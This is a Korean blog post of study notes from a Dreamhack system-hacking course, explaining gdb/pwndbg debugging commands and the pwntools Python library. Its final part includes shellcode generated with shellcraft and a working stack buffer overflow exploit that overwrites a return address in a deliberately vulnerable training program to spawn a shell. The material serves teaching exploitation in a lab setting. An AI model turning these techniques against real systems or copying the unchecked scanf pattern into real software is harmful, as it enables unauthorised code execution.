본문 바로가기

Security Study/System

[Dreamhack] Tool

Tool: gdb

  • 버그(bug): 실수로 발생한 프로그램의 결함
  • 디버거(Debugger): 완성된 코드에서 버그를 찾는 도구

1. gdb & pwndbg

1.1. gdb

리눅스의 대표적인 디버거

  • 오픈 소스로 개발되어 무료로 설치 가능
  • 다양한 플러그인들이 개발

1.2. 실습 예제

// Name: debugee.c
// Compile: gcc -o debugee debugee.c -no-pie

#include <stdio.h>
int main(void) {
  int sum = 0;
  int val1 = 1;
  int val2 = 2;

  sum = val1 + val2;

  printf("1 + 2 = %d\\\\n", sum);

  return 0;
}
  • 코드를 작성하고 컴파일 함
$ gcc -o debugee debugee.c
$ gdb debugee
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 193 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from debugee...(no debugging symbols found)...done.
pwndbg>
  • gdb debugge로 디버깅을 시작

1.3. start

진입점으로부터 프로그램을 분석할 수 있게 해주는 gdb의 명령어

  • 리눅스는 실행파일의 형식으로 ELF(Executable and Linkable Format)를 규정
  • ELF는 크게 헤더와 섹션으로 구성
    • 헤더: 실행에 필요한 여러 정보
    • 섹션: 컴파일된 기계어 코드, 프로그램 문자열을 비롯한 여러 데이터
  • ELF 헤더 중에 진입점(Entry Point, EP) 필드가 있는데, ELF를 실행할 때, 진입점의 값부터 프로그램을 실행
$ readelf -h debugee
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x540
  Start of program headers:          64 (bytes into file)
  Start of section headers:          6448 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         29
  Section header string table index: 28
  • readelf로 확인해본 결과, debugee의 진입점은 0x540
pwndbg> start
Temporary breakpoint 1 at 0x555555554540
Temporary breakpoint 1, 0x0000555555554540 in _start ()
[중략]
───────────────────────────[ DISASM ]─────────────────────────────
 ► 0x555555554540 <_start>       xor    ebp, ebp
   0x555555554542 <_start+2>     mov    r9, rdx
   0x555555554545 <_start+5>     pop    rsi
   0x555555554546 <_start+6>     mov    rdx, rsp
   0x555555554549 <_start+9>     and    rsp, 0xfffffffffffffff0
   0x55555555454d <_start+13>    push   rax
   0x55555555454e <_start+14>    push   rsp
   0x55555555454f <_start+15>    mov    r8, [rip + 0x1aa] <__libc_csu_fini>
   0x555555554556 <_start+22>    mov    rcx, [rip + 0x133] <__libc_csu_init>
   0x55555555455d <_start+29>    mov    rdi, main [rip + 0xe6] <main>
   0x555555554554 <_start+36>    call   qword ptr [rip + 0x200a76] <__libc_start_main>
[중략]
pwndbg>
  • DISASM영역의 화살표(►)가 가리키는 주소는 현재 rip의 값
  • start 명령어를 실행하면 0x555555554540을 가리키고 있음

1.4. context

  • 프로그램은 실행되면서 레지스터를 비롯한 여러 메모리에 접근
  • 디버거를 이용하여 프로그램의 실행 과정을 자세히 관찰하려면 컴퓨터의 각종 메모리를 한눈에 파악할 수 있음
  • pwndbg는 주요 메모리들의 상태를 프로그램이 실행되고 있는 맥락(Context)이라 부름
  • 4개 영역으로 구분
    1. registers: 레지스터의 상태를 보여줌
    2. disasm: rip부터 여러 줄에 걸쳐 디스어셈블된 결과를 보여줌
    3. stack: rsp부터 여러 줄에 걸쳐 스택의 값들을 보여줌
    4. backtrace: 현재 rip에 도달할 때까지 어떤 함수들이 중첩되어 호출됐는지 보여줌
  • 어셈블리를 실행할 때마다 갱신되어 방금 실행한 어셈블리 명령어가 메모리에 어떤 영향을 줬는지 쉽게 파악할 수 있게 도움

1.5. break&continue

break

특정 주소에 중단점(breakpoint)을 설정하는 기능

continue

중단된 프로그램을 계속 실행시키는 기능

  • break로 원하는 함수에 중단점을 설정하고 프로그램을 계속 실행하면, 해당 함수까지 멈추지 않고 실행한 다음 중단되어 중단된 지점부터 세밀하게 분석할 수 있음
pwndbg> b *main
Breakpoint 2 at 0x4004e7
pwndbg> c
Continuing.

Breakpoint 2, 0x00000000004004e7 in main ()
[중략]
──────────────────────────[ DISASM ]─────────────────────────
 ► 0x4004e7 <main>       push   rbp <0x400530>
   0x4004e8 <main+1>     mov    rbp, rsp
   0x4004eb <main+4>     sub    rsp, 0x10
   0x4004ef <main+8>     mov    dword ptr [rbp - 0xc], 0
   0x4004f6 <main+15>    mov    dword ptr [rbp - 8], 1
   0x4004fd <main+22>    mov    dword ptr [rbp - 4], 2
   0x400504 <main+29>    mov    edx, dword ptr [rbp - 8]
   0x400507 <main+32>    mov    eax, dword ptr [rbp - 4]
   0x40050a <main+35>    add    eax, edx
   0x40050c <main+37>    mov    dword ptr [rbp - 0xc], eax
   0x40050f <main+40>    mov    eax, dword ptr [rbp - 0xc]
──────────────────────────[ STACK ]───────────────────────────
[생략]

1.6. run

단순히 실행만 시킴

  • 중단점을 설정해놓지 않았다면 프로그램이 끝까지 멈추지 않고 실행됨
pwndbg> r
Starting program: /home/lce83/debugee

Breakpoint 2, 0x000055555555464a in main ()

gdb의 명령어 축약

어떤 명령어를 특정할 수 있는 최소한의 문자열만 입력하면 자동으로 명령어를 찾아 실행해줌

몇몇 대표적인 명령어들은 특정할 수 없더라도 우선으로 실행해줌

  • b: break
  • c: continue
  • r: run
  • si: step into
  • ni: next instruction
  • i: info
  • k: kill
  • pd: pdisas </aside>

1.7. disassembly

  • gdb는 프로그램을 어셈블리 코드 단위로 실행하고 결과를 보여줌
  • 프로그램의 코드는 기계어로 이루어져 있으므로, gdb는 기게어를 디스어셈블(Disassemble)하는 기능을 기본적으로 탑재
  • pwndbg에는 디스어셈블된 결과를 가독성 좋게 출력해주는 기능이 있음
  • 함수 이름을 인자로 전달하면 해당 함수가 반환될 때 까지 전부 디스어셈블하여 보여줌
  • u, nearpc, pdisassemble은 디스어셈블된 코드를 가독성 좋게 출력

1.8. navigate

  • 관찰하고자 하는 함수의 중단점에 도달했으면, 그 지점부터는 명령어를 한 줄씩 자세히 분석
  • ni, si는 모두 어셈블리 명령어를 한 줄 실행한다는 공통점이 있음
  • call 등을 통해 서브루틴을 호출하는 경우, ni는 서브루틴의 내부로 들어가지 않지만 si는 서브루틴의 내부로 들어가는 차이점이 있음
pwndbg> b *main+57
Breakpoint 2 at 0x400520
pwndbg> c
Continuing.

Breakpoint 3, 0x0000000000400520 in main ()
...
──────────────────────────────────[ DISASM ]───────────────────────────────────
   0x40050c <main+37>            mov    dword ptr [rbp - 0xc], eax
   0x40050f <main+40>            mov    eax, dword ptr [rbp - 0xc]
   0x400512 <main+43>            mov    esi, eax
   0x400514 <main+45>            lea    rdi, [rip + 0x99]
   0x40051b <main+52>            mov    eax, 0
 ► 0x400520 <main+57>            call   printf@plt <printf@plt>
        format: 0x4005b4 ◂— '1 + 2 = %d\\\\n'
        vararg: 0x3

   0x400525 <main+62>            mov    eax, 0
   0x40052a <main+67>            leave
   0x40052b <main+68>            ret
   0x40052c                      nop    dword ptr [rax]
   0x400530 <__libc_csu_init>    push   r15
...

next instruction

pwndbg> ni
0x0000000000400525 in main ()
...
──────────────────────────────────[ DISASM ]───────────────────────────────────
   0x40050f       <main+40>                  mov    eax, dword ptr [rbp - 0xc]
   0x400512       <main+43>                  mov    esi, eax
   0x400514       <main+45>                  lea    rdi, [rip + 0x99]
   0x40051b       <main+52>                  mov    eax, 0
   0x400520       <main+57>                  call   printf@plt <printf@plt>
 ► 0x400525       <main+62>                  mov    eax, 0
   0x40052a       <main+67>                  leave
   0x40052b       <main+68>                  ret
    ↓
   0x7ffff7a05b97 <__libc_start_main+231>    mov    edi, eax
   0x7ffff7a05b99 <__libc_start_main+233>    call   exit <exit>
   0x7ffff7a05b9e <__libc_start_main+238>    mov    rax, qword ptr [rip + 0x3ced23] <0x7ffff7dd48c8>
...
  • ni를 입력하면 printf 함수 바로 다음으로 rip가 이동한 것을 확인할 수 있음

step into

pwndbg> si
0x00000000004003f0 in printf@plt ()
...
──────────────────────────────────[ DISASM ]───────────────────────────────────
 ► 0x4003f0       <printf@plt>                       jmp    qword ptr [rip + 0x200c22] <0x601018>
   0x4003f6       <printf@plt+6>                     push   0
   0x4003fb       <printf@plt+11>                    jmp    0x4003e0 <0x4003e0>
    ↓
   0x4003e0                                          push   qword ptr [rip + 0x200c22] <0x601008>
   0x4003e6                                          jmp    qword ptr [rip + 0x200c24] <_dl_runtime_resolve_xsavec>
    ↓
   0x7ffff7dec7a0 <_dl_runtime_resolve_xsavec>       push   rbx
   0x7ffff7dec7a1 <_dl_runtime_resolve_xsavec+1>     mov    rbx, rsp
   0x7ffff7dec7a4 <_dl_runtime_resolve_xsavec+4>     and    rsp, 0xffffffffffffffc0
   0x7ffff7dec7a8 <_dl_runtime_resolve_xsavec+8>     sub    rsp, qword ptr [rip + 0x210059] <0x7ffff7ffc808>
   0x7ffff7dec7af <_dl_runtime_resolve_xsavec+15>    mov    qword ptr [rsp], rax
   0x7ffff7dec7b3 <_dl_runtime_resolve_xsavec+19>    mov    qword ptr [rsp + 8], rcx
...
──────────────────────────────────[ BACKTRACE ]───────────────────────────────────
 ► f 0           4003f0 printf@plt
   f 1           400525 main+62
   f 2     7ffff7a05b97 __libc_start_main+231
────────────────────────────────────────────────────────────────────────────────
pwndbg>
  • printf 함수를 호출하는 지점까지 다시 프로그램을 실행시킨 뒤, si를 입력하면 printf 함수 내부로 rip가 이동한 것을 확인할 수 있음
  • Backtrace를 보면, main 함수에서 printf를 호출했으므로 main함수 위에 printf 함수가 쌓인 것을 볼 수 있음

finish

step into로 함수 내부에 들어가서 필요한 부분을 모두 분석했는데, 함수의 규모가 커서 ni로 원래 실행 흐름으로 돌아가기 어려울 때 함수 끝까지 한번에 실행할 수 있음

pwndbg> finish
Run till exit from #0  0x00000000004003f0 in printf@plt ()
0x0000000000400525 in main ()
...
───────────────────────────────────[ DISASM ]───────────────────────────────────
   0x400520       <main+57>                  call   printf@plt <printf@plt>
 ► 0x400525       <main+62>                  mov    eax, 0
   0x40052a       <main+67>                  leave
   0x40052b       <main+68>                  ret
    ↓
   0x7ffff7a05b97 <__libc_start_main+231>    mov    edi, eax
   0x7ffff7a05b99 <__libc_start_main+233>    call   exit <exit>
   0x7ffff7a05b9e <__libc_start_main+238>    mov    rax, qword ptr [rip + 0x3ced23] <0x7ffff7dd48c8>
   0x7ffff7a05ba5 <__libc_start_main+245>    ror    rax, 0x11
   0x7ffff7a05ba9 <__libc_start_main+249>    xor    rax, qword ptr fs:[0x30]
   0x7ffff7a05bb2 <__libc_start_main+258>    call   rax
   0x7ffff7a05bb4 <__libc_start_main+260>    mov    rax, qword ptr [rip + 0x3cecfd] <0x7ffff7dd48b8>
───────────────────────────────────[ STACK ]────────────────────────────────────
[생략]

1.9. examine

  • 프로그램을 분석하다 보면 가상 메모리에 존재하는 임의 주소의 값을 관찰해야 할 때가 있음
  • gdb에서는 x라는 명령어를 제공하는데, 이를 이용하면 특정 주소에서 원하는 길이만큼의 데이터를 원하는 형식으로 인코딩하여 볼 수 있음
  • rsp부터 80바이트를 8바이트씩 hex형식으로 출력
pwndbg> x/10gx $rsp
0x7fffffffc228: 0x00007ffff7a05b97      0x0000000000000001
0x7fffffffc238: 0x00007fffffffc308      0x0000000100008000
0x7fffffffc248: 0x00000000004004e7      0x0000000000000000
0x7fffffffc258: 0x71eb993d1f26e436      0x0000000000400400
0x7fffffffc268: 0x00007fffffffc300      0x0000000000000000
  • rip부터 5줄의 어셈블리 명령어 출력
pwndbg> x/5i $rip
=> 0x4004e7 <main>:     push   rbp
   0x4004e8 <main+1>:   mov    rbp,rsp
   0x4004eb <main+4>:   sub    rsp,0x10
   0x4004ef <main+8>:   mov    DWORD PTR [rbp-0xc],0x0
   0x4004f6 <main+15>:  mov    DWORD PTR [rbp-0x8],0x1
  • 특정 주소의 문자열 출력
pwndbg> x/s 0x400000
0x400000:       "\\177ELF\\002\\001\\001"

1.10. telescope

pwndbg가 제공하는 강력한 메모리 덤프 기능

  • 특정 주소의 메모리 값들을 보여줌
  • 메모리가 참조하고 있는 주소를 재귀적으로 탐색하여 값을 보여줌
pwndbg> tele
00:0000│ rsp  0x7fffffffc228 —▸ 0x7ffff7a05b97 (__libc_start_main+231) ◂— mov    edi, eax
01:0008│      0x7fffffffc230 ◂— 0x1
02:0010│      0x7fffffffc238 —▸ 0x7fffffffc308 —▸ 0x7fffffffc557 ◂— '/home/dreamhack/debugee'
03:0018│      0x7fffffffc240 ◂— 0x100008000
04:0020│      0x7fffffffc248 —▸ 0x4004e7 (main) ◂— push   rbp
05:0028│      0x7fffffffc250 ◂— 0x0
06:0030│      0x7fffffffc258 ◂— 0x71eb993d1f26e436
07:0038│      0x7fffffffc260 —▸ 0x400400 (_start) ◂— xor    ebp, ebp

1.11. vmmap

가상 메모리의 레이아웃을 보여줌

어떤 파일이 매핑된 영역일 경우, 해당 파일의 경로까지 보여줌

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r-xp     1000 0      /home/dreamhack/debugee
          0x600000           0x601000 r--p     1000 0      /home/dreamhack/debugee
          0x601000           0x602000 rw-p     1000 1000   /home/dreamhack/debugee
    0x7ffff79e4000     0x7ffff7bcb000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7bcb000     0x7ffff7dcb000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcb000     0x7ffff7dcf000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcf000     0x7ffff7dd1000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dd1000     0x7ffff7dd5000 rw-p     4000 0
    0x7ffff7dd5000     0x7ffff7dfc000 r-xp    27000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7dd5000     0x7ffff7dfc000 rwxp    27000 0      <explored>
    0x7ffff7fe3000     0x7ffff7fe5000 rw-p     2000 0
    0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0      [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 27000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 28000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0
    0x7ffffffdc000     0x7ffffffff000 rw-p    23000 0      [stack]
pwndbg>

1.12. gdb / python

  • gdb를 통해 디버깅할 때 직접 입력할 수 없을 때가 있음
    • ex) 숫자와 알파벳이 아닌 값을 입력하는 상황
  • 이용자가 직접 입력할 수 없는 값은 파이썬으로 입력값을 생성하여 사용
  • 프로그램의 인자로 전달된 값과 이용자로부터 입력받은 값을 출력하는 예제
// Name: debugee2.c
// Compile: gcc -o debugee2 debugee2.c -no-pie

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
	char name[20];
	if( argc < 2 ) {
		printf("Give me the argv[2]!\\n");
		exit(0);
	}
	memset(name, 0, sizeof(name));
	printf("argv[1] %s\\n", argv[1]);
	read(0, name, sizeof(name)-1);
	printf("Name: %s\\n", name);
	return 0;
}
$ gcc -o debugee2 debugee2.c
$ gdb debugee2
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 193 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from debugee...(no debugging symbols found)...done.
pwndbg>

1.13. gdb / python argv

  • run 명령어의 인자로 $()와 함께 파이썬 코드를 입력하면 값을 전달할 수 있음
  • 파이썬에서 print함수를 통해 출력한 값을 run 명령어의 인자로 전달하는 명령어
pwndbg> r $(python -c 'print "\\xff"*100')
Starting program: /home/s0ngsari/a $(python -c 'print "\\xff"*100')
argv[1] ????????????????????????????????????????????????????????????????????????????????????????????????????

1.14. gdb / python input

  • $()와 함께 파이썬 코드를 입력하면 값을 입력할 수 있음
  • 입력값으로 전달하기 위해서는 ‘<<<’ 문자를 사용
  • argv[1]에 임의의 값을 전달하고, 값을 입력하는 명령어
pwndbg> r $(python -c 'print "\\xff"*100') <<< $(python -c 'print "dreamhack"')
Starting program: /home/s0ngsari/a $(python -c 'print "\\xff"*100') <<< $(python -c 'print "dreamhack"')
argv[1] ????????????????????????????????????????????????????????????????????????????????????????????????????
Name: dreamhack

 

Tool: pwntools

0.1. pwntools의 등장 배경

  • 파이썬과 파이프를 이용한 익스플로잇
$ (python -c "print 'A'*0x30 + 'B'*0x8 + '\\xa7\\x05\\x40\\x00\\x00\\x00\\x00\\x00'";cat)| ./rao
  • 익스플로잇이 조금만 복잡해져도 위와 같은 방식은 사용하기 어려워짐
  • 해커들은 펄, 파이썬, C언어 등으로 익스플로잇 스크립트, 바이너리를 제작하여 사용함
  • 초기 파이썬 익스플로잇 스크립트
#!/usr/bin/env python2
import socket

# Remote host and port
RHOST = "127.0.0.1"
RPORT = 31337

# Make TCP connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

# Build payload
payload = ""
payload += "Socket script"
payload += "\\n"

# Send payload
s.send(payload)

# Print received data
data = s.recv(1024)
print "Received: {0}".format(data)
  • 파이썬으로 여러 개의 익스플로잇 스크립트를 작성하다 보면 자주 사용하게 되는 함수들이 있음
    • 정수를 리틀 엔디언의 바이트 배열로 바꾸는 패킹 함수, 그 역을 수행하는 역패킹 함수
  • 이런 함수들을 반복적으로 구현하는 것은 비효율적
  • 시스템 해커들을 이들을 집대성하여 pwntools라는 파이썬 모듈을 제작
  • pwntools 덕분에 익스플로잇 제작은 전과 비교할 수 없을 정도로 간단하고 쉬워짐
  • 익스플로잇의 대부분이 pwntools를 이용하여 제작 및 공유됨
  • pwntools를 사용한 익스플로잇 스크립트
#!/usr/bin/python3
from pwn import *

# Make TCP connection
r = remote("127.0.0.1", 31337)

# Build payload
payload = ""
payload += "Socket script"
payload += "\\n"

# Send payload
r.send(payload)

# Print received data
data = r.recv(1024)
print(f"Received: {data}")

0.2. pwntools 설치

  • pwntools 설치
$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools
  • pwntools 임포트
$ python3
Python 3.6.9 (default, Apr 18 2020, 01:56:04)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>>

1. pwntools API 사용법

1.1. process & remote

process 함수는 익스플로잇을 로컬 바이너리를 대상으로 할 때 사용하는 함수로 익스플로잇을 테스트하고 디버깅하기 위해 사용

remote 함수는 원격 서버를 대상으로 할 때 사용하는 함수로 대상 서버를 실제로 공격하기 위해 사용

from pwn import *
p = process('./test') #로컬 바이너리 'test'를 대상으로 익스플로잇 수행
p = remote('example.com',31337) #'example.com'의 31337 포트에서 실행 중인 프로세스를 대상으로 익스플로잇 수행

1.2. send

send는 데이터를 프로세스에 전송하기 위해 사용

from pwn import *
p = process('./test')

p.send('A') # ./test에 'A'를 입력
p.sendline('A') # ./test에 'A'+'\\n'을 입력
p.sendafter('hello','A') # ./test가 'hello'를 출력하면, 'A'를 입력
p.sendlineafter('hello','A') # ./test가 'hello'를 출력하면, 'A' + '\\n'을 입력

1.3. recv

recv는 프로세스에서 데이터를 받기 위해 사용

from pwn import *
p = process('./test')

data = p.recv(1024) #p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장
data = p.recvline() #p가 출력하는 데이터를 개행문자를 만날 때까지 받아서 data에 저장
data = p.recvn(5) #p가 출력하는 데이터를 5바이트만 받아서 data에 저장
data = p.recvuntil('hello') #p가 출력하는 데이터를 'hello'가 출력될 때까지 받아서 data에 저장
data = p.recvall() #p가 출력하는 데이터를 프로세스가 종료될 때까지 받아서 data에 저장
  • recv()와 recvn()의 차이점을 주의해서 봐야함
  • recv(n)은 최대 n 바이트를 받는 것이므로 그만큼을 받지 못해도 에러를 발생시키지 않음
  • recvn(n)의 경우 정확히 n 바이트의 데이터를 받지 못하면 계속 기다림

1.4. packing & unpacking

  • 익스플로잇을 작성하다 보면 어떤 값을 리틀 엔디언의 바이트 배열로 변경하거나, 또는 역의 과정을 거쳐야 하는 경우가 자주 있음
#!/usr/bin/python3
#Name: pup.py

from pwn import *

s32 = 0x41424344
s64 = 0x4142434445464748

print(p32(s32))
print(p64(s64))

s32 = "ABCD"
s64 = "ABCDEFGH"

print(hex(u32(s32)))
print(hex(u64(s64)))
$ python3 pup.py
b'DCBA'
b'HGFEDCBA'
0x44434241
0x4847464544434241

1.5. interactive

셀을 획득했거나 익스플로잇의 특정 상황에 직접 입력을 주면서 출력을 확인하고 싶을 때 사용하는 함수

  • 호출하고 나면 터미널로 프로세스에 데이터를 입력하고, 프로세스의 출력을 확인할 수 있음
from pwn import *
p = process('./test')
p.interactive()

1.6. ELF

  • ELF 헤더에는 익스플로잇에 사용될 수 있는 각종 정보가 기록되어 있음
  • pwntools를 사용하면 이 정보들을 쉽게 참조할 수 있음
from pwn import *
e = ELF('./test')
puts_plt = e.plt['puts'] # ./test에서 puts()의 PLT주소를 찾아서 puts_plt에 저장
read_got = e.got['read'] # ./test에서 read()의 GOT주소를 찾아서 read_got에 저장

1.7. context.log

  • 익스플로잇에 버그가 발생하면 익스플로잇도 디버깅해야 함
  • pwntools에는 디버그의 편의를 돕는 로깅 기능이 있으며, 로그 레벨은 context.log_level 변수로 조절할 수 있음
from pwn import *
context.log_level = 'error' # 에러만 출력
context.log_level = 'debug' # 대상 프로세스와 익스플로잇간에 오가는 모든 데이터를 화면에 출력
context.log_level = 'info'  # 비교적 중요한 정보들만 출력

1.8. context.arch

  • pwntools는 셸코드로 생성하거나, 코드를 어셈블, 디스어셈블하는 기능 등을 가지고 있는데, 이들은 공격 대상의 아키텍처에 영향을 받음
  • pwntools는 아키텍처 정보를 프로그래머가 지정할 수 있게 하며, 이 값에 따라 몇몇 함수들의 동작이 달라짐
from pwn import *
context.arch = "amd64" # x86-64 아키텍처
context.arch = "i386"  # x86 아키텍처
context.arch = "arm"   # arm 아키텍처

1.9. shellcraft

  • pwntools에는 자주 사용되는 셸 코드들이 저장되어 있어서 공격에 필요한 셸 코드를 쉽게 꺼내 쓸 수 있게 해줌
  • 매우 편리한 기능이지만 정적으로 생성된 셸 코드는 셸 코드가 실행될 때의 메모리 상태를 반영하지 못함
  • 프로그램에 따라 입력할 수 있는 셸 코드의 길이나 구성 가능한 문자의 종류에 제한이 있을 수 있는데, 이런 조건들도 반영하기 어려움
  • 제약 조건이 존재하는 상황에서는 직접 셸 코드를 작성하는 것이 좋음
#!/usr/bin/python3
#Name: shellcraft.py

from pwn import *

context.arch = 'amd64' # 대상 아키텍처 x86-64
code = shellcraft.sh() # 셸을 실행하는 셸 코드

print(code)
$ python3 shellcraft.py
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    ...
    syscall

1.10. asm

  • pwntools는 어셈블 기능을 제공함
  • 대상 아키텍처가 중요하므로, 아키텍처를 미리 지정해야 함
#!/usr/bin/python3
#Name: asm.py

from pwn import *

context.arch = 'amd64' # 익스플로잇 대상 아키텍처 'x86-64'

code = shellcraft.sh() # 셸을 실행하는 셸 코드
code = asm(code)       # 셸 코드를 기계어로 어셈블

print(code)
$ python3 asm.py
b'jhH\\xb8/bin///sPH\\x89\\xe7hri\\x01\\x01\\x814$\\x01\\x01\\x01\\x011\\xf6Vj\\x08^H\\x01\\xe6VH\\x89\\xe61\\xd2j;X\\x0f\\x05'

2. pwntools 실습

2.1. rao 익스플로잇

  • rao 예제 코드
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}
  • pwntools로 rao 익스플로잇
#!/usr/bin/python3
#Name: rao.py

from pwn import *          # Import pwntools module

p = process('./rao')       # Spawn process './rao'
get_shell = 0x4005a7       # Address of get_shell() is 0x4005a7

payload = b"A"*0x30        #|       buf      |  <= "A"*0x30
payload += b"B"*0x8        #|       SFP      |  <= "B"*0x8
payload += p64(get_shell)  #| Return address |  <= "\\xa7\\x05\\x40\\x00\\x00\\x00\\x00\\x00"

p.sendline(payload)        # Send payload to './rao'

p.interactive()            # Communicate with shell
$ python3 rao.py
[+] Starting local process './rao': pid 416
[*] Switching to interactive mode
$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack) ...
반응형

'Security Study > System' 카테고리의 다른 글

[Dreamhack] Shellcode  (0) 2024.05.27